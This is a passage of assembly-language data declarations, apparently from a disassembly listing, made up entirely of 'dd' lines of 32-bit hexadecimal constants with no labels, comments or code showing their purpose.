		dd 2850512h, 80724CDDh,	9FEE543Fh, 4B081617h, 20646000h
		dd 8899F1h, 79A0F0C4h, 5BABD054h, 0D911A360h, 1E5CF486h
		dd 47A751B5h, 5AAEB8CBh, 0BCB900F8h, 9183D23Ah,	0FCD84A01h
		dd 6809FB7Dh, 0FC28B0C5h, 0CF83800h, 98369E14h,	0EC4EC000h
		dd 0E534825h, 9DAC3E33h, 29D70776h, 0F0231870h,	64419B55h
		dd 87C0C60Bh, 48A4808Fh, 3D296C2h, 0A512FE56h, 0A0C0D17Fh
		dd 730097A8h, 9002B91Eh, 1077BFh, 2F1BF685h, 87B54A7Eh
		dd 0C55D0D09h, 55EC803Bh, 0E655F6Eh, 1B897804h,	0A168E962h
		dd 13A89860h, 0FE447D04h, 0D880EEB5h, 741B2725h, 0D8A04DAh
		dd 90AFE181h, 9D144D8Bh, 49F93200h, 0E47442E9h,	5FD50080h
		dd 0D7D2B877h, 33013845h, 8A45A70h, 30CC8760h, 270D0757h
		dd 0D0C91B2Fh, 7A9B14A6h, 8F0A8B8h, 0BAF11200h,	661D9DC1h
		dd 0EAE404C2h, 80B4731Bh, 0D1AC4E78h, 0B6A9EB01h, 8E7582Eh
		dd 38F65E8h, 2B85A07Ch,	55A88B94h, 4FCECDDh, 830082E4h
		dd 0FA4C7DBCh, 0B060D2C4h, 68F413A2h, 0E33C00C7h, 0A5F1A8BDh
		dd 0BA398612h, 66DBA101h, 9C70DDB0h, 146300EAh,	8B6CDCF9h
		dd 0DE244678h, 1A000CEEh, 3153B10Eh, 918400F4h,	0B8FFF5CDh
		dd 0D8EEE93Dh, 40486700h, 4D70FE03h, 0C50248CCh, 255C4500h
		dd 0EE5930BEh, 0CB00C2E0h, 0B21A582Bh, 6CE68h, 0B85BE64Ch
		dd 2EFC8161h, 0B685E301h, 70BF3BD0h, 0CC84ECh, 4A4915C4h
		dd 0EF37020Dh, 5A3FDB1Fh, 0DD3FBA1Dh, 986A0BECh, 5BCC0058h
		dd 0E2B397Ch, 0FEC60CB5h, 0E8A6DDECh, 40FAC81Ch, 80EB2089h
		dd 0FF820CA4h, 1A0B0066h, 41DE73C7h, 0CA7279F2h, 4B0071ECh
		dd 7B44C291h, 1CEEAC9Ah, 0C03D6AF1h, 966084CAh,	8C1D7023h
		dd 48F96F68h, 92A0738h,	0CF105EFCh, 0EE6423D2h,	8B5801F5h
		dd 880FED9Dh, 2477E8ABh, 27C7DB01h, 0D0C4AD3Ah,	31FE460h
		dd 6E3F66E1h, 0A1A8BBD8h, 2101A724h, 950F9DE8h,	0C204617h
		dd 3DFFE10h, 0DCCA827Ah, 78D0F426h, 9A00F086h, 0A7CB228h
		dd 0C2C168h, 502299D3h,	8BFD7B35h, 3846FF05h, 3BC60B20h
		dd 0D04300B0h, 89D36EEEh, 64009DA7h, 26E9AD18h,	9CFEFC48h
		dd 6169003Ch, 6C5EA940h, 7C00E3EEh, 8008B5E5h, 0D75713h
		dd 0DA9BF842h, 54903A48h, 2800594Ah, 0EB52125Eh, 27D07B6h
		dd 119E701Dh, 70992CF8h
		dd 8D000ECCh, 14E9D626h, 8059F4h, 6B0A0139h, 9BFC1770h
		dd 2D0DC5Dh, 0A253A3A6h, 28D441CBh, 0E1704886h,	0C87721AAh
		dd 0D90088F8h, 2E04170Dh, 336D150h, 97F8BB71h, 7C8841Eh
		dd 0DB000C77h, 0DE755259h, 7641C4h, 0D44011C3h,	0D9AB3034h
		dd 68699B0Eh, 79EC664Fh, 7FB900C8h, 25A744C9h, 8696C01Ah
		dd 0E180F501h, 0CC50FE3Bh, 7D0F107Bh, 0AC1C0065h, 646A9ED9h
		dd 0E4F49BF0h, 0B10DE4A8h, 1C96DC00h, 58ACDB2Ah, 19C0C0F7h
		dd 0A20B4332h, 7AE8DF00h, 4A3E7427h, 3F4B07B8h,	0BB8005h
		dd 0E211DEEBh, 5A0A7F06h, 232F8F7h, 8897A92Eh, 84C06695h
		dd 725C8EF9h, 0F86E1818h, 946479h, 4120CB3Bh, 0BAFE3D4Ah
		dd 1ACA259h, 5B171093h,	28705E94h, 73D000CAh, 5C51C898h
		dd 285CD134h, 6D600130h, 11F7B778h, 8F021080h, 1E40B355h
		dd 95492618h, 2E16819h,	2EFE7D1Ch, 3CC12B51h, 0D46EC08Bh
		dd 1F2E800h, 737E9130h,	0A3B813h, 75B047D9h, 5579B434h
		dd 0D8A0F30Eh, 1693C04Ah, 1D3CB8CEh, 8033A5FCh,	5BC84769h
		dd 0CCA3CAE0h, 0A2665380h, 3858A092h, 34C6C180h, 0A8E754E5h
		dd 3DE93B2Dh, 5A1F6F39h, 4DBE4137h, 30FA3FEAh, 3B037004h
		dd 5BB9457Ch, 60B03E14h, 4E9BAC80h, 5E3E9267h, 0EBDCA802h
		dd 8047867Ch, 75B2F2CCh, 0C41B000Fh, 8CBFD455h,	0E65AAAE8h
		dd 0CCEA4400h, 0C076D8Dh, 2ABE50E1h, 7900C758h,	0DFEBD511h
		dd 264FEDh, 0FA745298h,	9FAB6F03h, 58022A98h, 0FE53D646h
		dd 1AEDC05Dh, 0CF030214h, 4241F9CEh, 321C1070h,	0D9453DAEh
		dd 0CB4E077h, 0CA8E00B3h, 0EC54605Fh, 4F3C3904h, 8F098088h
		dd 0AA1B177Ah, 0F1F30143h, 13774B0h, 0DE9C2091h, 60A21900h
		dd 1D961C67h, 32DC001Fh, 390CCF17h, 251270EAh, 6C60AB9Ch
		dd 513CF8h, 0CABCB67Fh,	4AB02B7Ch, 66F30F00h, 9027808h
		dd 8BF4F3CEh, 0F9D8A8FEh, 0D3DE0962h, 9C254F43h, 388F8176h
		dd 29E474D0h, 23CFB200h, 0D2F78735h, 0E6D31EB1h, 7D1C7F7Fh
		dd 0DC0C4091h, 254A7194h, 0D18A3B01h, 0CA393A56h, 8040E023h
		dd 0B4ED0059h, 9444868Fh, 1D01E60Eh, 49D0655Bh,	0C822E7A4h
		dd 34187725h, 380A7A53h, 0B4A1841Bh, 74244113h,	8085B408h
		dd 0ABF4DC32h, 309B82Ah, 820D1699h, 94DB1834h, 0F8DF0428h
		dd 808C5CEBh, 392151CCh, 136CB109h, 41940BFDh, 0DEC08958h
		dd 127095h, 43AF2DCEh, 922AE923h, 38113200h, 4F55516Fh
		dd 5FCC001Ah, 4B9D7ED6h, 2022B62h, 0B545E89Bh, 0B884C029h
		dd 829A0196h, 5737C3F4h, 0C199EBEEh, 90B420F8h,	94DF8700h
		dd 3C03E5Dh, 6CD609AAh,	0F5C26Eh, 8B72467Bh, 0C8930096h
		dd 995F79B3h, 0FC00E959h, 66403994h, 5EE20A71h,	0C0301DAAh
		dd 7620C563h, 0EB75CB84h, 4E35700Eh, 9077ECB1h,	1B30426h
		dd 0C04629ABh, 0F42B4714h, 97129301h, 0CD3C964Fh, 0B4361C64h
		dd 0F9141E28h, 0AC1EB600h, 3EC1E420h, 80394F3Bh, 0D4B325D7h
		dd 0F35456h, 2228A387h,	0CC2DBBAAh, 0B7A0E03h, 0E74555CAh
		dd 0F2E23950h, 4E900F5h, 8AFA16DFh, 46009605h, 0BBCC7F13h
		dd 0EB39AEh, 4D81D4EFh,	718CCF3Ah, 0E975C00h, 7CEAC354h
		dd 0BE270017h, 5BE983F8h, 0D0009829h, 9977A3A8h, 1CB5B246h
		dd 0FF617FEAh, 3F69BD82h, 0F878AADDh, 80569A39h, 0A4D79F04h
		dd 5CC064B6h, 0EA078AFAh, 0D067482Ah, 0F86F0841h, 60CA5600h
		dd 6E3B0A0h, 5DD01C8Bh,	80705F0Ah, 0FE1FBB36h, 887D1DF7h
		dd 6530AFFCh, 70C0EC17h, 0D7BE5CACh, 2B38F00h, 0F262496Ch
		dd 6D9EC40Fh, 33C9DF91h, 4C80C054h, 7BF900E2h, 0C4B79C08h
		dd 0A51F1BFFh, 8FBA2F14h, 69D11711h, 9A98E054h,	0ACE1222Eh
		dd 20FA962Dh, 0DD67B4C0h, 0A6A901CCh, 2FD70382h, 0C0B8689Dh
		dd 0D089395Ch, 485A3935h, 0B801CCCCh, 43817078h, 51B8700Ah
		dd 2A7DDA00h, 38325A8Eh, 0C0D649A9h, 97F913h, 291A1948h
		dd 3100CE43h, 0CCCA4978h, 768B9B2Ah, 0EC8B04Eh,	0BB12646Eh
		dd 10D1FF27h, 46CD6BFAh, 5A74110Eh, 0C63E204Ah,	5D1CF0h
		dd 17FF6408h, 0FA6CCCF4h, 0B8CF2903h, 0FFEA65Ch, 0F585D290h
		dd 0CC45D300h, 1201CBBCh, 3991443Eh, 24301E1Fh,	79DC00EBh
		dd 0BFBD4A22h, 427BA0B9h, 0C4892700h, 981A447Bh, 0B28F63BCh
		dd 96D86D76h, 0CD135ED5h, 8841DBEBh, 75E5A2E3h,	6A94C8h
		dd 34BC17B4h, 0AE661DCEh, 817DED0Fh, 0F68A60FAh, 89E41Fh
		dd 0EFA99CC6h, 0C96F56A3h, 84B60400h, 27F2E0F5h, 0BBC700A7h
		dd 14B2BC20h, 6FF2013Fh, 0E9BF4E00h, 47508A8Fh,	0D8255821h
		dd 0D84D5049h, 40C0CD13h, 0F24ADEFCh, 0BB007457h, 0C424833Eh
		dd 0C9939245h, 16A38h, 8E081B5Dh, 0E07735F0h, 7269E25Bh
		dd 0AC5850E8h, 7B25008Bh, 813024DFh, 0A020E38h,	20D58F87h
		dd 8E6D608Dh, 0BAD60075h, 9FA3B269h, 9D00F04Ah,	328B563Bh
		dd 3BC56F66h, 0DC8F6045h, 9080E031h, 29145CABh,	0CBE7E900h
		dd 33988108h, 94D70296h, 0BC55541h, 922D5470h, 9F8082CBh
		dd 43E4C0AEh, 0A4F161C9h, 0C08A529Eh, 0A63E9107h, 0C60380FCh
		dd 0E5AA151Bh, 5B9093h,	63615E06h, 484FDA02h, 0F6ED571Fh
		dd 72187941h, 34721180h, 8E292F05h, 0D85CC155h,	980CB97h
		dd 0BB000E3Dh, 8B6C4BE0h, 0F0E6EFh, 0CC8A64F5h,	86DD901h
		dd 53C2BD1Fh, 0FC05EC81h, 0C0D4FB65h, 3FC600D3h, 0AD850C1Ah
		dd 7B007A58h, 53F6D8A6h, 9A4E0Dh, 509E668Eh, 0F040202Dh
		dd 3D02CAE2h, 0E9097E7Dh, 0B0F832h, 0E5F93822h,	0AD6A4144h
		dd 0FC64D700h, 8AAC3FCBh, 1661C12Ch, 11724596h,	26EC4E59h
		dd 9F570003h, 18240E0Bh, 0F001FB1Dh, 93E9475Dh,	8C6C51DEh
		dd 835C1F05h, 0FEB2C09Ah, 0A048C97Bh, 0FD7607C8h, 0AE10E968h
		dd 60172789h, 0C085389Fh, 0B01E2306h, 0A242F62Dh, 40B1412Ch
		dd 0AAB6DD4h, 0D0525AF3h, 0D2C400E0h, 0B8510526h, 71BD8330h
		dd 0C7C25731h, 0C2EDE720h, 8879D59h, 0C8FB80BDh, 0F500B323h
		dd 0C4A0FECDh, 1417C244h, 898BB5F8h, 69B26701h,	0E8C3A5BEh
		dd 60188074h, 0A860B924h, 0DD56301Eh, 0A60A3678h, 0C635B600h
		dd 22E8FF5Eh, 59451DABh, 5495402Ch, 367EA6F7h, 0F81DCDFBh
		dd 1AFA49DCh, 0ECB849h,	0D9BDE9DDh, 6583CDh, 6A44DF48h
		dd 21CCB7D3h, 23FD4900h, 535AC501h, 723500B9h, 1CB578B0h
		dd 5C00038Ah, 6B04C7F4h, 956E32CCh, 18016EE3h, 8E0FA47Ah
		dd 22F029CEh, 15BA06E5h, 202354B4h, 0BDC70B0Ah,	6E0098FFh
		dd 79A57147h, 0FA30C07Bh, 0E71B42C8h, 0D682B506h, 3E18564Ch
		dd 5E17B43Ch, 2F500705h, 98DD8010h, 0C00C5A92h,	28A6E4DBh
		dd 3F6112B9h, 0EE40806Eh, 0BC06F0CCh, 0B247A77Dh, 91561F9h
		dd 83A1C7B4h, 44243C89h, 1500299h, 0EB054F36h, 0B1D46880h
		dd 2306A47Fh, 216730AAh, 422F641h, 1F721713h, 80EC9068h
		dd 900152C2h, 6E2360B3h, 98878AD3h, 71F338DBh, 98AFCA70h
		dd 13C1C060h, 69D90522h, 0C058FFCCh, 0A361FE40h, 3571B10Eh
		dd 0FD0E60D5h, 0A1757h,	643DB26h, 8F896448h, 0F2EAFA00h
		dd 3C05CF04h, 0E187BD2h, 0FFF91CC5h, 0F0F58820h, 0E73DD5C7h
		dd 0D1488093h, 1B50A9D0h, 97190F7Ch, 5A00A4E3h,	0FE165D67h
		dd 0F1EE0D09h, 7A0809Ch, 0F468ECC2h, 48E600D8h,	0A3E80436h
		dd 0EE784F78h, 84236528h, 945D5500h, 7D7B1AC5h,	39680030h
		dd 0CB858058h, 792AB82Dh, 0CC00982Bh, 5F74048Eh, 7EEB056h
		dd 7B8073B7h, 0AC80AB0Ch
		dd 0FC3322C9h, 10C0D0A4h, 0D8A01341h, 263E0084h, 29A8D220h
		dd 0B8A850B0h, 2A009111h, 0AD75C4CAh, 63B6F4A6h, 47F580D5h
		dd 0A0A03EFBh, 983033EFh, 9E0618DEh, 0C124064Ch, 495B3972h
		dd 0D1326130h, 3DCA0B4h, 8E6B49E4h, 9100CE39h, 257F29D2h
		dd 0F2CF1h, 27D07B15h, 0F6D126A3h, 723B460Ah, 7F002838h
		dd 44D7FA71h, 16BE7CDAh, 43533Fh, 9FB168B1h, 71CA5DE7h
		dd 36439063h, 8D9EB9C6h, 4DCFD70h, 5990B826h, 6F20E4A5h
		dd 547C8000h, 0A0B348ABh, 0CC821E62h, 0EEBA0047h, 6F492241h
		dd 0D3400400h, 0D25DA459h, 0B11C2889h, 50DA004Ch, 78BD5D7h
		dd 0D000BFA0h, 0B24E4777h, 3EBA530Ch, 0A301F654h, 24F1E91Fh
		dd 4191FC68h, 601DC00h,	80A818Fh, 0B7F065h, 2FC7B9F8h
		dd 8D6203DFh, 55A7D501h, 54E61CF6h, 0F3F0044Ah,	0D7C67BDh
		dd 2ED08E00h, 2304FAEh,	56DC01F8h, 271E4E5Eh, 431160E4h
		dd 591CE603h, 21AF7165h, 0E2080628h, 86579004h,	22511994h
		dd 0EC7AFADAh, 8042CB88h, 68005C0Eh, 0B46CB8DFh, 36A7FFh
		dd 99631660h, 825AB51Dh, 3F001B77h, 27290F8Ch, 109842h
		dd 0BFD75CFFh, 0C755F0E7h, 46177B1Eh, 0DB656F80h, 690833Bh
		dd 328774CEh, 0D500F00Eh, 0B94CC5C9h, 0FED90B65h, 0B2EF005Fh
		dd 8F14D8AFh, 92006613h, 0B9CD366Eh, 4FF6352h, 87FCEA9Fh
		dd 8E4AC142h, 10BA9Bh, 0EC3C6DEDh, 101D72h, 1B15C426h
		dd 667B5BD8h, 0B72A8E00h, 1CBBF716h, 6C67008Fh,	828D350Bh
		dd 0AB04030Eh, 47C14F04h, 92FDD180h, 91A31D2Ah,	34B30030h
		dd 575476A8h, 0DE7DF61Ch, 0B626807Ah, 1581A7F2h, 0C5AC0024h
		dd 0B8BDE528h, 973387B5h, 0C99098A1h, 0D9806A9Ah, 61511067h
		dd 7D073BC5h, 0C7E5276Eh, 80FA3020h, 1F03000Fh,	0D1722588h
		dd 671FAE64h, 0CA0009EDh, 0BEBD708Fh, 97B7039Bh, 0DC2777A5h
		dd 0EF6EC0ADh, 1D00B440h, 0EC900ABFh, 7E4A99B0h, 0B2F40223h
		dd 0D4D113F8h, 0DE90EEE3h, 7C73FB88h, 1083C200h, 41CEE338h
		dd 743100B8h, 9353610Fh, 0D20EF363h, 2B9892E1h,	6DFC80F4h
		dd 34C7B52Bh, 801A4389h, 731D3EADh, 0B4DC9C00h,	40A485Dh
		dd 0E0E97E90h, 0AB5800E3h, 0B2F70798h, 7800C618h, 0E20D1761h
		dd 30B0C131h, 0A6C0C5D3h, 9000816Dh, 0B6CF566Eh, 0C3765Ch
		dd 820A93D7h, 9C2D74FEh, 87551D3Fh, 8B223E25h, 0E3FD4080h
		dd 3BE207F8h, 10815382h, 0DD2037D3h, 0B39B6800h, 0BAEF2DDCh
		dd 5DCB0090h, 4AFA0C8Bh, 0A4006329h, 130F46A7h,	1F44F73h
		dd 0A2ACC3E2h, 0CDCF1B2Eh, 0DDF3E052h, 0B8750800h, 2C51D0F8h
		dd 0ED403C38h, 0D67F9500h, 0CA90F677h, 0F93DA2F4h, 48C90B02h
		dd 0D70E24h, 9512631Ah,	937807BFh, 709167D2h, 954AECEh
		dd 0D53C9E0Fh, 5D2200F3h, 0D0CD74h, 15AB8936h, 620D7248h
		dd 0CE401A00h, 0A5F8104Eh, 5E6C0091h, 0ED51EAC3h, 0DFF09B20h
		dd 94A45000h, 618F11Ah,	60430084h, 0C94E3F49h, 0F30083D4h
		dd 0D359A2EBh, 10951FCh, 77A3C5F9h, 0E76AE3BAh,	2C9847B0h
		dd 0DF27261Ch, 907E2F80h, 71B2867h, 0C7383053h,	1302B073h
		dd 6500EB8Ah, 4ED2296Eh, 7B7D768h, 0AF9D7C58h, 7784E00Eh
		dd 3300A428h, 3B26BC6Fh, 35E3F3h, 0D631E7D0h, 0BD5C0BB2h
		dd 769BE809h, 27198773h, 8FFD8560h, 1BDB81Fh, 0D76033C1h
		dd 0E0DF019Eh, 0D91EAA55h, 69C0ECD4h, 0C37B0713h, 5DF618h
		dd 0FF3C3192h, 8ECFA499h, 1D402807h, 0E7505060h, 34D155h
		dd 9A68E8EFh, 4AB470B0h, 72FDD013h, 201F5901h, 93F4FBE9h
		dd 70820F90h, 0CC602D6Ch, 0ED71E5D6h, 252E720Fh, 0A03ACE4Fh
		dd 81614957h, 6B93002Fh, 0E0CAFE9Ch, 8C03C84Ah,	0A9BC206Fh
		dd 3C92B86Ch, 0E3E9034Ch, 61825413h, 4AA2B5F8h,	359BD12Eh
		dd 0D9049716h, 0E890C51Eh, 1DF822E7h, 7C0762h, 536F2DE6h
		dd 0B4000F08h, 0A8D3ED43h, 3B39BF24h, 71C44C4h,	2960030h
		dd 0F0402932h, 0A760231Ch, 0AD0485C1h, 0F1FC553Fh, 91D000F7h
		dd 112ECE5Ah, 0E0000522h, 0B02A0136h, 0C08D4D9Eh, 0C3BDA8B8h
		dd 0E900402Dh, 0F7DB0A78h, 3CB96C5Fh, 0E004496h, 0C4BE6617h
		dd 6002C70h, 6FA2AED8h,	76CD84h, 1B385983h, 5012F469h
		dd 0BF2A7E01h, 0B1887AEEh, 0B7F0B6E5h, 0EF7A1Fh, 1D7C2D40h
		dd 28EB77B9h, 87306B00h, 0E4DFBCE7h, 71FA07CAh,	0D0B0FF69h
		dd 75AC68A1h, 46013EF2h, 15C5D606h, 23FCEFB4h, 74573D5h
		dd 578BA22h, 7B202086h,	3A77F824h, 34D3EB00h, 0EFF9604Bh
		dd 91351283h, 0A36C0029h, 8FFE097Ch, 60005EE2h,	5EF0420h
		dd 0FECEF9D8h, 94520054h, 0F8C5DE39h, 0BA003DEDh, 55A2C862h
		dd 284AFh, 668B997Ah, 507E9C9Dh, 1F39520h, 0F88E91B0h
		dd 60828176h, 0AC1C9243h, 0E947D635h, 16666A64h, 2D730C4Ch
		dd 0A20A3C2h, 0C34E8700h, 0F53F3DFAh, 6880440h,	0EB5956h
		dd 504CA0F2h, 16962670h, 5DE51D4Ch, 324A4025h, 0E0B94E8Dh
		dd 0DDBE200h, 0AA222B9Ah, 103300E5h, 5A7A37E1h,	19037DBBh
		dd 6CF74270h, 2663B015h, 89AF008Dh, 9ED9B024h, 3400483Bh
		dd 0FFEE4C82h, 0B020FC7Bh, 6F2E0EA5h, 250027E6h, 35CA2D13h
		dd 0D2992F00h, 180898E8h, 48E40345h, 2B4DBAC8h,	0F378FDD8h
		dd 0D5B26406h, 10EE87h,	1F0D7E0h, 7E0BCAF5h, 2C8B7F3Eh
		dd 0DB00F6AEh, 0CD629DFh, 585C1CEBh, 0AF97000Dh, 0F5EC2775h
		dd 5FC4F70Eh, 0A55220A3h, 0BED6102h, 1B4EA24Fh,	0CB0CF280h
		dd 57001E7Ch, 0F8C80677h, 1DCFF3h, 9F863E0Dh, 8F984904h
		dd 3A26E0Eh, 0B843019Dh, 0C8FCCC83h, 1AA900AAh,	3922CAC0h
		dd 8074E869h, 0D22EED01h, 9A4D0E5Fh, 12613E60h,	531FC7h
		dd 0E267B0F4h, 0D300097Bh, 21CB8F29h, 0BA32E41h, 5123110Dh
		dd 6AF10002h, 0C2BDC260h, 0BA76700h, 2ECBB803h,	2B5D0048h
		dd 0AA70582Ch, 8D006C28h, 962F6466h, 0A69C4Ah, 21AF0AE2h
		dd 0F159437Eh, 0DC720500h, 0FB2D353Dh, 6BF005Eh, 6DD1F8BAh
		dd 1C00CFD2h, 2BB36C8Ch, 47739Fh, 6E1DC2B8h, 0B58F80AEh
		dd 51439600h, 0FE2B6C3h, 12F717EDh, 1116AEC1h, 8801FA13h
		dd 41D21EB3h, 0B86ABDCh, 54E5E367h, 73CF4580h, 7002B1Ch
		dd 53EFAF76h, 98A2F977h, 0A7BB0021h, 44DEFEA9h,	0D4B89BADh
		dd 33002071h, 0B8A64FEFh, 12AC58h, 6326B797h, 0BE541861h
		dd 0E8008AFCh, 0D5E21BECh, 13C4BC7h, 0A56F0F6Bh, 608DF986h
		dd 0AD023D65h, 8ADCCAF6h, 9F846103h, 0E711D0h, 0E1398BF4h
		dd 0AB72364Bh, 2823B405h, 88016E4Dh, 6D3067EBh,	7C575030h
		dd 0F622397Ah, 0BB00178h, 0FF3E6ACh, 1392D814h,	0B37E9000h
		dd 851AB9C3h, 49F7023h,	0E9BB8710h, 0D000BBF4h,	0F6A0FDE5h
		dd 2AEA06h, 0BC39FB44h,	4DCD1898h, 8729CE38h, 23EF6BECh
		dd 0FC6DB0D0h, 1A7F00CAh, 0BF8346E7h, 9300291Bh, 150D0932h
		dd 9FE123Eh, 7FFC8598h,	89FAE400h, 5700A088h, 825CBDC8h
		dd 7D6B892h, 13B1CBEBh,	0ADC2007Fh, 9E12A1DFh, 43002B98h
		dd 6301BA21h, 329006C3h, 600BD494h, 0C13C170Eh,	49BBE045h
		dd 65D555h, 0F0AC6C48h,	7C4F1553h, 0B884662Eh, 0F7B02005h
		dd 0B4EC0280h, 64403A22h, 62B5D409h, 3B8558A0h,	0A21F9A8Eh
		dd 58C01DD7h, 11183359h, 2A6A053Eh, 80EE48F0h, 94299BA4h
		dd 4CADFD07h, 775345DEh, 5B0CE06Dh, 0A5980032h,	0BE88E56Ah
		dd 7198C6E8h, 0F24C6E1Eh, 8CA83B43h, 6280FDACh,	63A70690h
		dd 0BCA9A069h, 1ECF5EE0h
		dd 2E8E0D0Ch, 77A1187Eh, 6160B0A6h, 0B9CFF485h,	2DC74007h
		dd 48DEAB47h, 62D0F500h, 0F284C2h, 802F0A97h, 224EE617h
		dd 0CFB168C1h, 389511E1h, 1D008881h, 0EAD7ABFEh, 0C3760EF9h
		dd 1C7CF1E0h, 992AD200h, 0B6AA32EFh, 0E9AC0381h, 0DB8925D0h
		dd 625BB906h, 12500D8Ch, 1FCF9B9h, 0A87B0948h, 1584056h
		dd 0F012D1Bh, 7FA73CBFh, 0A2F04F30h, 6B3A00EDh,	0A1195623h
		dd 0C7242CE5h, 39001D2Ah, 0AC8E747Dh, 26970079h, 38D1E605h
		dd 0F500419Fh, 0AAC3CE4Ch, 66A74DEh, 30E9D0E8h,	9F06D17Dh
		dd 85F1CEEDh, 0E1048711h, 40349B67h, 0B71C43BCh, 2D2C5B0Eh
		dd 1639E004h, 0F9E60Fh,	5E856F18h, 2273471h, 8C97B400h
		dd 6E871962h, 0CF443EC1h, 0C2D8210Eh, 0B0FE8560h, 3624F3DCh
		dd 9004CC8Ch, 0CA0ECBCh, 48FA0253h, 0A8ADD54Eh,	0DECCB560h
		dd 8E952300h, 0FC5B7B8Ah, 6AD09FCEh, 0A3E09300h, 0DF9D55D2h
		dd 0D5D71F80h, 246A4012h, 0B0F7B55Ah, 3138FE0Fh, 0CB15C025h
		dd 3D57A410h, 8C00BFDAh, 680B359h, 0E3037D7Eh, 7A54AE60h
		dd 0B949C096h, 3EE4E9h,	71C86130h, 22B72B0Ah, 0E8EFA500h
		dd 0FB99441Bh, 6E7602E4h, 3A600712h, 0FC3C6D61h, 0D70095BEh
		dd 45E15DA3h, 5317FFh, 620F3A63h, 29FC4C39h, 2AEB693Ch
		dd 0D600B49Fh, 365467D7h, 6FD7D0Ch, 0A38622EEh,	8900382Ch
		dd 0B2B7CDCEh, 0F0EB6D7Ch, 708F4097h, 50F4D707h, 0CFC00D53h
		dd 2B68DBFh, 0FC587BB2h, 0E4484C9Bh, 9698E0A7h,	6800EE73h
		dd 42EAEBE7h, 3A1B35h, 81232460h, 0AB21454Bh, 7562A509h
		dd 0C2E70140h, 15C88B50h, 9B899h, 0FBF0BCC9h, 8A752B30h
		dd 4B7D0400h, 0A9F3D081h, 0F67A00ECh, 1E283A7h,	80E5F5A6h
		dd 0CF94581h, 0A05981h,	0B2DA9525h, 246CB67Dh, 660E7790h
		dd 83990834h, 0E8B44C47h, 0D3E98h, 0B3F0F7B2h, 1C162C5h
		dd 25F49903h, 7C111983h, 517B0058h, 0EBE4D7Dh, 340237ACh
		dd 6181B21Eh, 7BC080A2h, 0E8AFE0C8h, 6C73494Ah,	43BAC100h
		dd 0B00C63C6h, 0EBD71B2Eh, 2340171Fh, 0A8455A06h, 0A70307E2h
		dd 4F371092h, 8F3E9920h, 0D800231Bh, 0E8C05E0Ah, 0FC874E76h
		dd 3C4238E2h, 2154C807h, 0A0E347DDh, 620EB9F3h,	33A8DA00h
		dd 0FCA11F85h, 0C499032Bh, 268A7BAAh, 0EE5960AFh, 0E8A09303h
		dd 9AEC4264h, 0F7FE8600h, 7B4668A7h, 0E88718EAh, 0D5FDF677h
		dd 0C0BF2E30h, 597DC33Ah, 738418h, 0A6770F96h, 0B67A5DEBh
		dd 0D785C100h, 81010B9Ch, 0B068012Fh, 10CF0E7Eh, 8BDAEC75h
		dd 9E17FDF0h, 571FE492h, 1D210907h, 17C89Ch, 36A9D5CEh
		dd 6D1F4ECFh, 4322C000h, 642E23FAh, 0F0A75414h,	7E2B0032h
		dd 68859B6Ah, 30962019h, 0F88E803Bh, 0ED50F277h, 6A6C3ADDh
		dd 0B09F110Fh, 0FEBEE400h, 177A6D75h, 0B8A6383Ah, 6B781DF8h
		dd 0DC292C80h, 0CF87FAh, 99923EA2h, 8D275275h, 0FAA370F8h
		dd 0CAB92B90h, 20A6D900h, 0BCBF86FCh, 0D2E69Eh,	13E0E8E7h
		dd 0C5592DDAh, 910067EEh, 0FCB83088h, 0E03A4B9Eh, 64970073h
		dd 19AB6E9Fh, 0A21FAE53h, 1082BB25h, 60FD9A60h,	51FCFBh
		dd 6C2BB9A4h, 0E902017Ch, 0FBB3B40Fh, 0B0D80034h, 9828CC29h
		dd 0E30E0294h, 0CA3D8C84h, 510BE048h, 0BA66B70Ch, 3A1BD1CBh
		dd 0DC1D015Eh, 4B480053h, 7049A196h, 5FB2AA00h,	5AD2418Bh
		dd 1A8E6B0h, 0B1B9771Ah, 0D89C7EAFh, 7000B703h,	5FF36FECh
		dd 937D07h, 0D24586DDh,	3DED14FDh, 0BFF1525Ah, 0F6572F4h
		dd 40AF01F7h, 0F90A22A0h, 34001682h, 9AC531C9h,	2AAE8h
		dd 28A723B7h, 0FE4892F3h, 4A5A2100h, 45ED9AD0h,	6F1A0058h
		dd 0F9812FF7h, 2974CDE1h, 0F42EC100h, 0E3E8BCE4h, 0E9B009D9h
		dd 0B40254D7h, 0BE60E14Eh, 390121DEh, 0E583C10Fh, 9BC83315h
		dd 6ECA009Ch, 1EBA61F6h, 2A397B23h, 0D7686370h,	54508803h
		dd 0DD0B00B7h, 1B4C0978h, 162CD17Eh, 0CB12A282h, 0DFB93C00h
		dd 94316924h, 0FD970140h, 0C87D82A8h, 0A000A2D5h, 0BC451D9Ch
		dd 0F8314815h, 16FF04Eh, 328DB872h, 0C42ECE33h,	0D650F59Ah
		dd 4400AAABh, 0E922C168h, 0E2DF94Dh, 0DEF06B0Bh, 9D83412Eh
		dd 0D1E8557Dh, 0AD00E915h, 0B23DCB02h, 39CD0Fh,	97D6638Dh
		dd 3B57AE4Eh, 4423403h,	98AA73C3h, 497632h, 745D97E9h
		dd 3BC195E3h, 0ABB4080Eh, 0DE6660C4h, 5C9D6BA0h, 0CA0F5C9Ch
		dd 64607012h, 7871C789h, 0AA99F207h, 41F05642h,	5C04272Fh
		dd 0BA0020B0h, 0DACA0574h, 1100FA34h, 0F563EAD6h, 231314h
		dd 716AA404h, 0DF6C7758h, 2E1AD800h, 0BFE6CF07h, 3F7B00D1h
		dd 84F7A4E7h, 0BC25F640h, 1D880187h, 7EE84C5Eh,	0B3CF00A5h
		dd 0E72FD762h, 0C2396CF4h, 801E3F11h, 0CFD0702Dh, 3C18A2D6h
		dd 778136F7h, 2B4454E6h, 0F622F46Dh, 59743D00h,	6992FB6Ch
		dd 578100EDh, 0B0AD4676h, 2C009D96h, 0B6E18AD8h, 0D67FE9h
		dd 9EBB6923h, 0D35E8FCh, 43646E00h, 87768C8Eh, 0B01800CCh
		dd 0B461E089h, 300B963h, 0F6EA6C32h, 10F6F01h, 48D9264h
		dd 0F021E26Eh, 91EE5658h, 0E1168A07h, 4930A7E9h, 1C643E53h
		dd 0A82C09F1h, 0D19600D2h, 8440CFE5h, 0E6C13089h, 0A93F9D77h
		dd 28E8CCFDh, 0B4B725C0h, 8F85BC90h, 8BC45901h,	8A287F3Dh
		dd 2E8034h, 4BD852A0h, 0DDB65F08h, 8057A494h, 0D14CF5Fh
		dd 8C942D08h, 8E9BA700h, 39F1215Eh, 0E90FE5A8h,	0A3833B88h
		dd 53D26807h, 0F184452h, 0B33930E0h, 0CDAF0054h, 0D1AED9D0h
